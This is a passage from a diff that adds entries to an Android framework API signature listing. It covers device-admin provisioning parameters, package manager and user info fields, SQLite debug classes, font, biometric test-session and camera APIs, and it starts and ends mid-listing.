+    field public static final int OPERATION_SET_ALWAYS_ON_VPN_PACKAGE = 30; // 0x1e
+    field public static final int OPERATION_SET_APPLICATION_HIDDEN = 15; // 0xf
+    field public static final int OPERATION_SET_APPLICATION_RESTRICTIONS = 16; // 0x10
+    field public static final int OPERATION_SET_CAMERA_DISABLED = 31; // 0x1f
+    field public static final int OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY = 32; // 0x20
+    field public static final int OPERATION_SET_GLOBAL_PRIVATE_DNS = 33; // 0x21
+    field public static final int OPERATION_SET_KEEP_UNINSTALLED_PACKAGES = 17; // 0x11
+    field public static final int OPERATION_SET_KEYGUARD_DISABLED = 12; // 0xc
+    field public static final int OPERATION_SET_LOCK_TASK_FEATURES = 18; // 0x12
+    field public static final int OPERATION_SET_LOCK_TASK_PACKAGES = 19; // 0x13
+    field public static final int OPERATION_SET_LOGOUT_ENABLED = 34; // 0x22
+    field public static final int OPERATION_SET_MASTER_VOLUME_MUTED = 35; // 0x23
+    field public static final int OPERATION_SET_OVERRIDE_APNS_ENABLED = 36; // 0x24
+    field public static final int OPERATION_SET_PACKAGES_SUSPENDED = 20; // 0x14
+    field public static final int OPERATION_SET_PERMISSION_GRANT_STATE = 37; // 0x25
+    field public static final int OPERATION_SET_PERMISSION_POLICY = 38; // 0x26
+    field public static final int OPERATION_SET_RESTRICTIONS_PROVIDER = 39; // 0x27
+    field public static final int OPERATION_SET_STATUS_BAR_DISABLED = 13; // 0xd
+    field public static final int OPERATION_SET_SYSTEM_SETTING = 11; // 0xb
+    field public static final int OPERATION_SET_SYSTEM_UPDATE_POLICY = 14; // 0xe
+    field public static final int OPERATION_SET_TRUST_AGENT_CONFIGURATION = 21; // 0x15
+    field public static final int OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES = 22; // 0x16
+    field public static final int OPERATION_SET_USER_RESTRICTION = 10; // 0xa
+    field public static final int OPERATION_START_USER_IN_BACKGROUND = 3; // 0x3
+    field public static final int OPERATION_STOP_USER = 4; // 0x4
+    field public static final int OPERATION_SWITCH_USER = 2; // 0x2
+    field public static final int OPERATION_UNINSTALL_CA_CERT = 40; // 0x28
+    field public static final int OPERATION_WIPE_DATA = 8; // 0x8
+    field public static final int PROVISIONING_RESULT_ADMIN_PACKAGE_INSTALLATION_FAILED = 3; // 0x3
+    field public static final int PROVISIONING_RESULT_PRE_CONDITION_FAILED = 1; // 0x1
+    field public static final int PROVISIONING_RESULT_PROFILE_CREATION_FAILED = 2; // 0x2
+    field public static final int PROVISIONING_RESULT_REMOVE_NON_REQUIRED_APPS_FAILED = 6; // 0x6
+    field public static final int PROVISIONING_RESULT_SETTING_PROFILE_OWNER_FAILED = 4; // 0x4
+    field public static final int PROVISIONING_RESULT_SET_DEVICE_OWNER_FAILED = 7; // 0x7
+    field public static final int PROVISIONING_RESULT_STARTING_PROFILE_FAILED = 5; // 0x5
+  }
+
+  public final class FullyManagedDeviceProvisioningParams implements android.os.Parcelable {
+    method public boolean canDeviceOwnerGrantSensorsPermissions();
+    method public int describeContents();
+    method @NonNull public android.content.ComponentName getDeviceAdminComponentName();
+    method public long getLocalTime();
+    method @Nullable public java.util.Locale getLocale();
+    method @NonNull public String getOwnerName();
+    method @Nullable public String getTimeZone();
+    method public boolean isLeaveAllSystemAppsEnabled();
+    method public void logParams(@NonNull String);
+    method public void writeToParcel(@NonNull android.os.Parcel, @Nullable int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.FullyManagedDeviceProvisioningParams> CREATOR;
+  }
+
+  public static final class FullyManagedDeviceProvisioningParams.Builder {
+    ctor public FullyManagedDeviceProvisioningParams.Builder(@NonNull android.content.ComponentName, @NonNull String);
+    method @NonNull public android.app.admin.FullyManagedDeviceProvisioningParams build();
+    method @NonNull public android.app.admin.FullyManagedDeviceProvisioningParams.Builder setDeviceOwnerCanGrantSensorsPermissions(boolean);
+    method @NonNull public android.app.admin.FullyManagedDeviceProvisioningParams.Builder setLeaveAllSystemAppsEnabled(boolean);
+    method @NonNull public android.app.admin.FullyManagedDeviceProvisioningParams.Builder setLocalTime(long);
+    method @NonNull public android.app.admin.FullyManagedDeviceProvisioningParams.Builder setLocale(@Nullable java.util.Locale);
+    method @NonNull public android.app.admin.FullyManagedDeviceProvisioningParams.Builder setTimeZone(@Nullable String);
+  }
+
+  public final class ManagedProfileProvisioningParams implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.accounts.Account getAccountToMigrate();
+    method @NonNull public String getOwnerName();
+    method @NonNull public android.content.ComponentName getProfileAdminComponentName();
+    method @Nullable public String getProfileName();
+    method public boolean isKeepAccountMigrated();
+    method public boolean isLeaveAllSystemAppsEnabled();
+    method public boolean isOrganizationOwnedProvisioning();
+    method public void logParams(@NonNull String);
+    method public void writeToParcel(@NonNull android.os.Parcel, @Nullable int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.admin.ManagedProfileProvisioningParams> CREATOR;
+  }
+
+  public static final class ManagedProfileProvisioningParams.Builder {
+    ctor public ManagedProfileProvisioningParams.Builder(@NonNull android.content.ComponentName, @NonNull String);
+    method @NonNull public android.app.admin.ManagedProfileProvisioningParams build();
+    method @NonNull public android.app.admin.ManagedProfileProvisioningParams.Builder setAccountToMigrate(@Nullable android.accounts.Account);
+    method @NonNull public android.app.admin.ManagedProfileProvisioningParams.Builder setKeepAccountMigrated(boolean);
+    method @NonNull public android.app.admin.ManagedProfileProvisioningParams.Builder setLeaveAllSystemAppsEnabled(boolean);
+    method @NonNull public android.app.admin.ManagedProfileProvisioningParams.Builder setOrganizationOwnedProvisioning(boolean);
+    method @NonNull public android.app.admin.ManagedProfileProvisioningParams.Builder setProfileName(@Nullable String);
+  }
+
+  public class ProvisioningException extends android.util.AndroidException {
+    ctor public ProvisioningException(@NonNull Exception, int);
+    method public int getProvisioningResult();
+  }
+
+  public static final class SecurityLog.SecurityEvent implements android.os.Parcelable {
+    ctor public SecurityLog.SecurityEvent(long, byte[]);
+  }
+
+  public final class UnsafeStateException extends java.lang.IllegalStateException implements android.os.Parcelable {
+    ctor public UnsafeStateException(int, int);
+    method public int getOperation();
+  }
+
+}
+
+package android.app.assist {
+
+  public class ActivityId {
+    method public int getTaskId();
+    method @Nullable public android.os.IBinder getToken();
+  }
+
+}
+
+package android.app.blob {
+
+  public class BlobStoreManager {
+    method @Nullable public android.app.blob.LeaseInfo getLeaseInfo(@NonNull android.app.blob.BlobHandle) throws java.io.IOException;
+    method public void waitForIdle(long) throws java.lang.InterruptedException, java.util.concurrent.TimeoutException;
+  }
+
+  public final class LeaseInfo implements android.os.Parcelable {
+    ctor public LeaseInfo(@NonNull String, long, @IdRes int, @Nullable CharSequence);
+    method public int describeContents();
+    method @Nullable public CharSequence getDescription();
+    method @IdRes public int getDescriptionResId();
+    method public long getExpiryTimeMillis();
+    method @NonNull public String getPackageName();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.blob.LeaseInfo> CREATOR;
+  }
+
+}
+
+package android.app.contentsuggestions {
+
+  public final class ContentSuggestionsManager {
+    method @RequiresPermission(android.Manifest.permission.MANAGE_CONTENT_SUGGESTIONS) public void resetTemporaryService(int);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_CONTENT_SUGGESTIONS) public void setDefaultServiceEnabled(int, boolean);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_CONTENT_SUGGESTIONS) public void setTemporaryService(int, @NonNull String, int);
+  }
+
+}
+
+package android.app.prediction {
+
+  public final class AppPredictor {
+    method public android.app.prediction.AppPredictionSessionId getSessionId();
+  }
+
+}
+
+package android.app.usage {
+
+  public class NetworkStatsManager {
+    method public void setPollForce(boolean);
+  }
+
+  public class StorageStatsManager {
+    method public boolean isQuotaSupported(@NonNull java.util.UUID);
+    method public boolean isReservedSupported(@NonNull java.util.UUID);
+    method @NonNull @WorkerThread public java.util.Collection<android.os.storage.CrateInfo> queryCratesForPackage(@NonNull java.util.UUID, @NonNull String, @NonNull android.os.UserHandle) throws java.io.IOException, android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull @WorkerThread public java.util.Collection<android.os.storage.CrateInfo> queryCratesForUid(@NonNull java.util.UUID, int) throws java.io.IOException, android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull @RequiresPermission(android.Manifest.permission.MANAGE_CRATES) @WorkerThread public java.util.Collection<android.os.storage.CrateInfo> queryCratesForUser(@NonNull java.util.UUID, @NonNull android.os.UserHandle) throws java.io.IOException, android.content.pm.PackageManager.NameNotFoundException;
+  }
+
+  public final class UsageStats implements android.os.Parcelable {
+    ctor public UsageStats();
+  }
+
+  public static final class UsageStats.Builder {
+    ctor public UsageStats.Builder();
+    method @NonNull public android.app.usage.UsageStats build();
+    method @NonNull public android.app.usage.UsageStats.Builder setFirstTimeStamp(long);
+    method @NonNull public android.app.usage.UsageStats.Builder setLastTimeStamp(long);
+    method @NonNull public android.app.usage.UsageStats.Builder setLastTimeUsed(long);
+    method @NonNull public android.app.usage.UsageStats.Builder setPackageName(@Nullable String);
+    method @NonNull public android.app.usage.UsageStats.Builder setTotalTimeInForeground(long);
+  }
+
+  public final class UsageStatsManager {
+    method public void forceUsageSourceSettingRead();
+  }
+
+}
+
+package android.appwidget {
+
+  public class AppWidgetManager {
+    method public void setBindAppWidgetPermission(@NonNull String, int, boolean);
+  }
+
+}
+
+package android.bluetooth {
+
+  public final class BluetoothClass implements android.os.Parcelable {
+    method public int getClassOfDevice();
+  }
+
+}
+
+package android.content {
+
+  public final class AttributionSource implements android.os.Parcelable {
+    ctor public AttributionSource(int, @Nullable String, @Nullable String);
+    ctor public AttributionSource(int, @Nullable String, @Nullable String, @NonNull android.os.IBinder);
+    ctor public AttributionSource(int, @Nullable String, @Nullable String, @Nullable java.util.Set<java.lang.String>, @Nullable android.content.AttributionSource);
+  }
+
+  public final class AutofillOptions implements android.os.Parcelable {
+    ctor public AutofillOptions(int, boolean);
+    method public int describeContents();
+    method public static android.content.AutofillOptions forWhitelistingItself();
+    method public boolean isAugmentedAutofillEnabled(@NonNull android.content.Context);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.AutofillOptions> CREATOR;
+    field public long appDisabledExpiration;
+    field public boolean augmentedAutofillEnabled;
+    field public final boolean compatModeEnabled;
+    field @Nullable public android.util.ArrayMap<java.lang.String,java.lang.Long> disabledActivities;
+    field public final int loggingLevel;
+    field @Nullable public android.util.ArraySet<android.content.ComponentName> whitelistedActivitiesForAugmentedAutofill;
+  }
+
+  public class ClipboardManager extends android.text.ClipboardManager {
+    method @Nullable @RequiresPermission(android.Manifest.permission.SET_CLIP_SOURCE) public String getPrimaryClipSource();
+  }
+
+  public final class ContentCaptureOptions implements android.os.Parcelable {
+    ctor public ContentCaptureOptions(int);
+    ctor public ContentCaptureOptions(int, int, int, int, int, @Nullable android.util.ArraySet<android.content.ComponentName>);
+    method public int describeContents();
+    method public static android.content.ContentCaptureOptions forWhitelistingItself();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.ContentCaptureOptions> CREATOR;
+    field public final int idleFlushingFrequencyMs;
+    field public final boolean lite;
+    field public final int logHistorySize;
+    field public final int loggingLevel;
+    field public final int maxBufferSize;
+    field public final int textChangeFlushingFrequencyMs;
+    field @Nullable public final android.util.ArraySet<android.content.ComponentName> whitelistedComponents;
+  }
+
+  public abstract class ContentProvider implements android.content.ComponentCallbacks2 {
+    method @NonNull public static android.os.UserHandle getUserHandleFromUri(@NonNull android.net.Uri);
+  }
+
+  public abstract class ContentResolver {
+    method public static String[] getSyncAdapterPackagesForAuthorityAsUser(String, int);
+  }
+
+  public abstract class Context {
+    method @NonNull public java.io.File getCrateDir(@NonNull String);
+    method public abstract int getDisplayId();
+    method @NonNull public android.os.UserHandle getUser();
+    method public int getUserId();
+    method public void setAutofillOptions(@Nullable android.content.AutofillOptions);
+    method public void setContentCaptureOptions(@Nullable android.content.ContentCaptureOptions);
+    field public static final String CONTENT_CAPTURE_MANAGER_SERVICE = "content_capture";
+    field public static final String DEVICE_IDLE_CONTROLLER = "deviceidle";
+    field public static final String DREAM_SERVICE = "dream";
+    field public static final String FONT_SERVICE = "font";
+    field public static final String POWER_EXEMPTION_SERVICE = "power_exemption";
+    field @Deprecated public static final String POWER_WHITELIST_MANAGER = "power_whitelist";
+    field public static final String TEST_NETWORK_SERVICE = "test_network";
+  }
+
+  public class ContextWrapper extends android.content.Context {
+    method public int getDisplayId();
+  }
+
+  public class Intent implements java.lang.Cloneable android.os.Parcelable {
+    field public static final String ACTION_USER_STOPPED = "android.intent.action.USER_STOPPED";
+  }
+
+  public class SyncAdapterType implements android.os.Parcelable {
+    method @Nullable public String getPackageName();
+  }
+
+}
+
+package android.content.integrity {
+
+  public class AppIntegrityManager {
+    method @NonNull public android.content.integrity.RuleSet getCurrentRuleSet();
+    method @NonNull public java.util.List<java.lang.String> getWhitelistedRuleProviders();
+  }
+
+}
+
+package android.content.pm {
+
+  public class ActivityInfo extends android.content.pm.ComponentInfo implements android.os.Parcelable {
+    method public static boolean isTranslucentOrFloating(android.content.res.TypedArray);
+    field public static final long ALWAYS_SANDBOX_DISPLAY_APIS = 185004937L; // 0xb06f389L
+    field public static final long FORCE_NON_RESIZE_APP = 181136395L; // 0xacbec0bL
+    field public static final long FORCE_RESIZE_APP = 174042936L; // 0xa5faf38L
+    field public static final long NEVER_SANDBOX_DISPLAY_APIS = 184838306L; // 0xb0468a2L
+    field public static final long OVERRIDE_MIN_ASPECT_RATIO = 174042980L; // 0xa5faf64L
+    field public static final long OVERRIDE_MIN_ASPECT_RATIO_LARGE = 180326787L; // 0xabf9183L
+    field public static final float OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE = 1.7777778f;
+    field public static final long OVERRIDE_MIN_ASPECT_RATIO_MEDIUM = 180326845L; // 0xabf91bdL
+    field public static final float OVERRIDE_MIN_ASPECT_RATIO_MEDIUM_VALUE = 1.5f;
+    field public static final int RESIZE_MODE_RESIZEABLE = 2; // 0x2
+  }
+
+  public class ApplicationInfo extends android.content.pm.PackageItemInfo implements android.os.Parcelable {
+    method public boolean hasRequestForegroundServiceExemption();
+    method public boolean isPrivilegedApp();
+    method public boolean isSystemApp();
+    field public static final int PRIVATE_FLAG_PRIVILEGED = 8; // 0x8
+    field public int privateFlags;
+  }
+
+  public class CrossProfileApps {
+    method public boolean canConfigureInteractAcrossProfiles(@NonNull String);
+  }
+
+  public class LauncherApps {
+    ctor public LauncherApps(android.content.Context);
+  }
+
+  public static class PackageInstaller.SessionParams implements android.os.Parcelable {
+    method public void setInstallFlagAllowTest();
+    method public void setInstallerPackageName(@Nullable String);
+  }
+
+  public abstract class PackageManager {
+    method @Nullable public String getContentCaptureServicePackageName();
+    method @Nullable public String getDefaultTextClassifierPackageName();
+    method @RequiresPermission(android.Manifest.permission.INJECT_EVENTS) public android.os.IBinder getHoldLockToken();
+    method public abstract int getInstallReason(@NonNull String, @NonNull android.os.UserHandle);
+    method @NonNull public abstract java.util.List<android.content.pm.ApplicationInfo> getInstalledApplicationsAsUser(int, int);
+    method @Nullable public abstract String[] getNamesForUids(int[]);
+    method @NonNull public String getPermissionControllerPackageName();
+    method @NonNull public abstract String getServicesSystemSharedLibraryPackageName();
+    method @NonNull public abstract String getSharedSystemSharedLibraryPackageName();
+    method @Nullable public String getSystemTextClassifierPackageName();
+    method @Nullable public String getWellbeingPackageName();
+    method public void holdLock(android.os.IBinder, int);
+    method @RequiresPermission(android.Manifest.permission.KEEP_UNINSTALLED_PACKAGES) public void setKeepUninstalledPackages(@NonNull java.util.List<java.lang.String>);
+    field public static final String FEATURE_ADOPTABLE_STORAGE = "android.software.adoptable_storage";
+    field public static final String FEATURE_FILE_BASED_ENCRYPTION = "android.software.file_based_encryption";
+    field public static final String FEATURE_HDMI_CEC = "android.hardware.hdmi.cec";
+    field public static final int FLAG_PERMISSION_REVOKE_WHEN_REQUESTED = 128; // 0x80
+    field public static final int MATCH_KNOWN_PACKAGES = 4202496; // 0x402000
+    field public static final String SYSTEM_SHARED_LIBRARY_SERVICES = "android.ext.services";
+    field public static final String SYSTEM_SHARED_LIBRARY_SHARED = "android.ext.shared";
+  }
+
+  public class PermissionInfo extends android.content.pm.PackageItemInfo implements android.os.Parcelable {
+    field public static final int PROTECTION_FLAG_VENDOR_PRIVILEGED = 32768; // 0x8000
+  }
+
+  public final class ProviderInfoList implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public static android.content.pm.ProviderInfoList fromList(@NonNull java.util.List<android.content.pm.ProviderInfo>);
+    method @NonNull public java.util.List<android.content.pm.ProviderInfo> getList();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ProviderInfoList> CREATOR;
+  }
+
+  public final class SharedLibraryInfo implements android.os.Parcelable {
+    method @NonNull public java.util.List<java.lang.String> getAllCodePaths();
+    method public boolean isNative();
+  }
+
+  public final class ShortcutInfo implements android.os.Parcelable {
+    method public boolean isVisibleToPublisher();
+  }
+
+  public class ShortcutManager {
+    ctor public ShortcutManager(android.content.Context);
+  }
+
+  public class UserInfo implements android.os.Parcelable {
+    ctor public UserInfo(int, String, int);
+    ctor public UserInfo(int, String, String, int);
+    ctor public UserInfo(int, String, String, int, String);
+    ctor @Deprecated public UserInfo();
+    ctor public UserInfo(android.content.pm.UserInfo);
+    method public boolean canHaveProfile();
+    method public int describeContents();
+    method public android.os.UserHandle getUserHandle();
+    method public boolean isAdmin();
+    method public boolean isCloneProfile();
+    method public boolean isDemo();
+    method public boolean isEnabled();
+    method public boolean isEphemeral();
+    method public boolean isFull();
+    method public boolean isGuest();
+    method public boolean isInitialized();
+    method public boolean isManagedProfile();
+    method public boolean isPrimary();
+    method public boolean isProfile();
+    method public boolean isQuietModeEnabled();
+    method public boolean isRestricted();
+    method public boolean isSystemOnly();
+    method public static boolean isSystemOnly(int);
+    method public boolean supportsSwitchTo();
+    method public boolean supportsSwitchToByUser();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.UserInfo> CREATOR;
+    field public static final int FLAG_ADMIN = 2; // 0x2
+    field @Deprecated public static final int FLAG_DEMO = 512; // 0x200
+    field public static final int FLAG_DISABLED = 64; // 0x40
+    field public static final int FLAG_EPHEMERAL = 256; // 0x100
+    field public static final int FLAG_FULL = 1024; // 0x400
+    field @Deprecated public static final int FLAG_GUEST = 4; // 0x4
+    field public static final int FLAG_INITIALIZED = 16; // 0x10
+    field @Deprecated public static final int FLAG_MANAGED_PROFILE = 32; // 0x20
+    field public static final int FLAG_PRIMARY = 1; // 0x1
+    field public static final int FLAG_PROFILE = 4096; // 0x1000
+    field public static final int FLAG_QUIET_MODE = 128; // 0x80
+    field @Deprecated public static final int FLAG_RESTRICTED = 8; // 0x8
+    field public static final int FLAG_SYSTEM = 2048; // 0x800
+    field public static final int NO_PROFILE_GROUP_ID = -10000; // 0xffffd8f0
+    field public boolean convertedFromPreCreated;
+    field public long creationTime;
+    field public int flags;
+    field public boolean guestToRemove;
+    field public String iconPath;
+    field public int id;
+    field public String lastLoggedInFingerprint;
+    field public long lastLoggedInTime;
+    field public String name;
+    field public boolean partial;
+    field public boolean preCreated;
+    field public int profileBadge;
+    field public int profileGroupId;
+    field public int restrictedProfileParentId;
+    field public int serialNumber;
+    field public String userType;
+  }
+
+}
+
+package android.content.res {
+
+  public final class AssetManager implements java.lang.AutoCloseable {
+    method @NonNull public String[] getApkPaths();
+    method @Nullable public String getLastResourceResolution();
+    method @Nullable public String getOverlayablesToString(String);
+    method public void setResourceResolutionLoggingEnabled(boolean);
+  }
+
+  public final class Configuration implements java.lang.Comparable<android.content.res.Configuration> android.os.Parcelable {
+    field public int assetsSeq;
+    field public final android.app.WindowConfiguration windowConfiguration;
+  }
+
+}
+
+package android.content.rollback {
+
+  public final class RollbackManager {
+    method @RequiresPermission(android.Manifest.permission.TEST_MANAGE_ROLLBACKS) public void blockRollbackManager(long);
+    method @RequiresPermission(android.Manifest.permission.TEST_MANAGE_ROLLBACKS) public void expireRollbackForPackage(@NonNull String);
+    method @RequiresPermission(android.Manifest.permission.TEST_MANAGE_ROLLBACKS) public void reloadPersistedData();
+    field public static final String PROPERTY_ROLLBACK_LIFETIME_MILLIS = "rollback_lifetime_in_millis";
+  }
+
+}
+
+package android.database.sqlite {
+
+  public class SQLiteCompatibilityWalFlags {
+    method public static void reset();
+  }
+
+  public final class SQLiteDebug {
+    method public static void dump(android.util.Printer, String[]);
+    method public static android.database.sqlite.SQLiteDebug.PagerStats getDatabaseInfo();
+  }
+
+  public static class SQLiteDebug.DbStats {
+    ctor public SQLiteDebug.DbStats(String, long, long, int, int, int, int);
+    field public String cache;
+    field public String dbName;
+    field public long dbSize;
+    field public int lookaside;
+    field public long pageSize;
+  }
+
+  public static class SQLiteDebug.PagerStats {
+    ctor public SQLiteDebug.PagerStats();
+    field public java.util.ArrayList<android.database.sqlite.SQLiteDebug.DbStats> dbStats;
+    field public int largestMemAlloc;
+    field public int memoryUsed;
+    field public int pageCacheOverflow;
+  }
+
+  public final class SQLiteDirectCursorDriver implements android.database.sqlite.SQLiteCursorDriver {
+    ctor public SQLiteDirectCursorDriver(android.database.sqlite.SQLiteDatabase, String, String, android.os.CancellationSignal);
+    method public void cursorClosed();
+    method public void cursorDeactivated();
+    method public void cursorRequeried(android.database.Cursor);
+    method public android.database.Cursor query(android.database.sqlite.SQLiteDatabase.CursorFactory, String[]);
+    method public void setBindArguments(String[]);
+  }
+
+  public final class SQLiteGlobal {
+    method public static String getDefaultJournalMode();
+    method public static int getDefaultPageSize();
+    method public static String getDefaultSyncMode();
+    method public static int getIdleConnectionTimeout();
+    method public static int getJournalSizeLimit();
+    method public static int getWALAutoCheckpoint();
+    method public static int getWALConnectionPoolSize();
+    method public static String getWALSyncMode();
+    method public static int releaseMemory();
+  }
+
+}
+
+package android.graphics {
+
+  public final class ImageDecoder implements java.lang.AutoCloseable {
+    method @AnyThread @NonNull public static android.graphics.ImageDecoder.Source createSource(android.content.res.Resources, java.io.InputStream, int);
+  }
+
+  public final class Rect implements android.os.Parcelable {
+    method public void splitHorizontally(@NonNull android.graphics.Rect...);
+    method public void splitVertically(@NonNull android.graphics.Rect...);
+  }
+
+  public class Typeface {
+    method @NonNull public static long[] deserializeFontMap(@NonNull java.nio.ByteBuffer, @NonNull java.util.Map<java.lang.String,android.graphics.Typeface>) throws java.io.IOException;
+    method @Nullable public static android.os.SharedMemory getSystemFontMapSharedMemory();
+    method @NonNull public static android.os.SharedMemory serializeFontMap(@NonNull java.util.Map<java.lang.String,android.graphics.Typeface>) throws android.system.ErrnoException, java.io.IOException;
+  }
+
+}
+
+package android.graphics.drawable {
+
+  public class AdaptiveIconDrawable extends android.graphics.drawable.Drawable implements android.graphics.drawable.Drawable.Callback {
+    method public android.graphics.Region getSafeZone();
+    field public static final float MASK_SIZE = 100.0f;
+  }
+
+  public class ColorDrawable extends android.graphics.drawable.Drawable {
+    method public android.graphics.Xfermode getXfermode();
+  }
+
+  public class ShapeDrawable extends android.graphics.drawable.Drawable {
+    method public void setXfermode(@Nullable android.graphics.Xfermode);
+  }
+
+}
+
+package android.graphics.fonts {
+
+  public class FontManager {
+    method @NonNull @RequiresPermission(android.Manifest.permission.UPDATE_FONTS) public android.text.FontConfig getFontConfig();
+    method @RequiresPermission(android.Manifest.permission.UPDATE_FONTS) public int updateFontFamily(@NonNull android.graphics.fonts.FontFamilyUpdateRequest, @IntRange(from=0) int);
+    field public static final int RESULT_ERROR_DOWNGRADING = -5; // 0xfffffffb
+    field public static final int RESULT_ERROR_FAILED_TO_WRITE_FONT_FILE = -1; // 0xffffffff
+    field public static final int RESULT_ERROR_FAILED_UPDATE_CONFIG = -6; // 0xfffffffa
+    field public static final int RESULT_ERROR_FONT_NOT_FOUND = -9; // 0xfffffff7
+    field public static final int RESULT_ERROR_FONT_UPDATER_DISABLED = -7; // 0xfffffff9
+    field public static final int RESULT_ERROR_INVALID_FONT_FILE = -3; // 0xfffffffd
+    field public static final int RESULT_ERROR_INVALID_FONT_NAME = -4; // 0xfffffffc
+    field public static final int RESULT_ERROR_VERIFICATION_FAILURE = -2; // 0xfffffffe
+    field public static final int RESULT_ERROR_VERSION_MISMATCH = -8; // 0xfffffff8
+    field public static final int RESULT_SUCCESS = 0; // 0x0
+  }
+
+}
+
+package android.hardware {
+
+  public final class SensorPrivacyManager {
+    method @RequiresPermission(android.Manifest.permission.MANAGE_SENSOR_PRIVACY) public void setSensorPrivacy(int, int, boolean);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_SENSOR_PRIVACY) public void setSensorPrivacyForProfileGroup(int, int, boolean);
+  }
+
+  public static class SensorPrivacyManager.Sources {
+    field public static final int DIALOG = 3; // 0x3
+    field public static final int OTHER = 5; // 0x5
+    field public static final int QS_TILE = 1; // 0x1
+    field public static final int SETTINGS = 2; // 0x2
+    field public static final int SHELL = 4; // 0x4
+  }
+
+}
+
+package android.hardware.biometrics {
+
+  public class BiometricManager {
+    method @NonNull @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public android.hardware.biometrics.BiometricTestSession createTestSession(int);
+    method @NonNull @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public java.util.List<android.hardware.biometrics.SensorProperties> getSensorProperties();
+    method @NonNull @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public String getUiPackage();
+  }
+
+  public class BiometricPrompt {
+    method @NonNull public java.util.List<java.lang.Integer> getAllowedSensorIds();
+    method public boolean isAllowBackgroundAuthentication();
+  }
+
+  public static class BiometricPrompt.Builder {
+    method @NonNull @RequiresPermission(anyOf={android.Manifest.permission.TEST_BIOMETRIC, "android.permission.USE_BIOMETRIC_INTERNAL"}) public android.hardware.biometrics.BiometricPrompt.Builder setAllowBackgroundAuthentication(boolean);
+    method @NonNull @RequiresPermission(anyOf={android.Manifest.permission.TEST_BIOMETRIC, "android.permission.USE_BIOMETRIC_INTERNAL"}) public android.hardware.biometrics.BiometricPrompt.Builder setAllowedSensorIds(@NonNull java.util.List<java.lang.Integer>);
+  }
+
+  public class BiometricTestSession implements java.lang.AutoCloseable {
+    method @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public void acceptAuthentication(int);
+    method @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public void cleanupInternalState(int);
+    method @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public void close();
+    method @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public void finishEnroll(int);
+    method @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public void notifyAcquired(int, int);
+    method @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public void notifyError(int, int);
+    method @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public void rejectAuthentication(int);
+    method @RequiresPermission(android.Manifest.permission.TEST_BIOMETRIC) public void startEnroll(int);
+  }
+
+  public class SensorProperties {
+    method @NonNull public java.util.List<android.hardware.biometrics.SensorProperties.ComponentInfo> getComponentInfo();
+    method public int getSensorId();
+    method public int getSensorStrength();
+    field public static final int STRENGTH_CONVENIENCE = 0; // 0x0
+    field public static final int STRENGTH_STRONG = 2; // 0x2
+    field public static final int STRENGTH_WEAK = 1; // 0x1
+  }
+
+  public static final class SensorProperties.ComponentInfo {
+    method @NonNull public String getComponentId();
+    method @NonNull public String getFirmwareVersion();
+    method @NonNull public String getHardwareVersion();
+    method @NonNull public String getSerialNumber();
+    method @NonNull public String getSoftwareVersion();
+  }
+
+}
+
+package android.hardware.camera2 {
+
+  public final class CameraManager {
+    method public String[] getCameraIdListNoLazy() throws android.hardware.camera2.CameraAccessException;
+    method @RequiresPermission(allOf={android.Manifest.permission.SYSTEM_CAMERA, android.Manifest.permission.CAMERA}) public void openCamera(@NonNull String, int, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraDevice.StateCallback) throws android.hardware.camera2.CameraAccessException;
+  }
+
+  public abstract static class CameraManager.AvailabilityCallback {
+    method @RequiresPermission(android.Manifest.permission.CAMERA_OPEN_CLOSE_LISTENER) public void onCameraClosed(@NonNull String);
+    method @RequiresPermission(android.Manifest.permission.CAMERA_OPEN_CLOSE_LISTENER) public void onCameraOpened(@NonNull String, @NonNull String);
+  }
+
+  public abstract class CameraMetadata<TKey> {
+    field public static final int SENSOR_TEST_PATTERN_MODE_BLACK = 5; // 0x5
+  }
+
+}
+
+package android.hardware.devicestate {
+
+  public final class DeviceStateManager {
+    method @RequiresPermission(android.Manifest.permission.CONTROL_DEVICE_STATE) public void cancelRequest(@NonNull android.hardware.devicestate.DeviceStateRequest);
+    method @NonNull public int[] getSupportedStates();
+    method public void registerCallback(@NonNull java.util.concurrent.Executor, @NonNull android.hardware.devicestate.DeviceStateManager.DeviceStateCallback);
+    method @RequiresPermission(android.Manifest.permission.CONTROL_DEVICE_STATE) public void requestState(@NonNull android.hardware.devicestate.DeviceStateRequest, @Nullable java.util.concurrent.Executor, @Nullable android.hardware.devicestate.DeviceStateRequest.Callback);
+    method public void unregisterCallback(@NonNull android.hardware.devicestate.DeviceStateManager.DeviceStateCallback);
+    field public static final int MAXIMUM_DEVICE_STATE = 255; // 0xff
+    field public static final int MINIMUM_DEVICE_STATE = 0; // 0x0
+  }
+
+  public static interface DeviceStateManager.DeviceStateCallback {
+    method public default void onBaseStateChanged(int);
+    method public void onStateChanged(int);
+    method public default void onSupportedStatesChanged(@NonNull int[]);
+  }
+
+  public final class DeviceStateRequest {
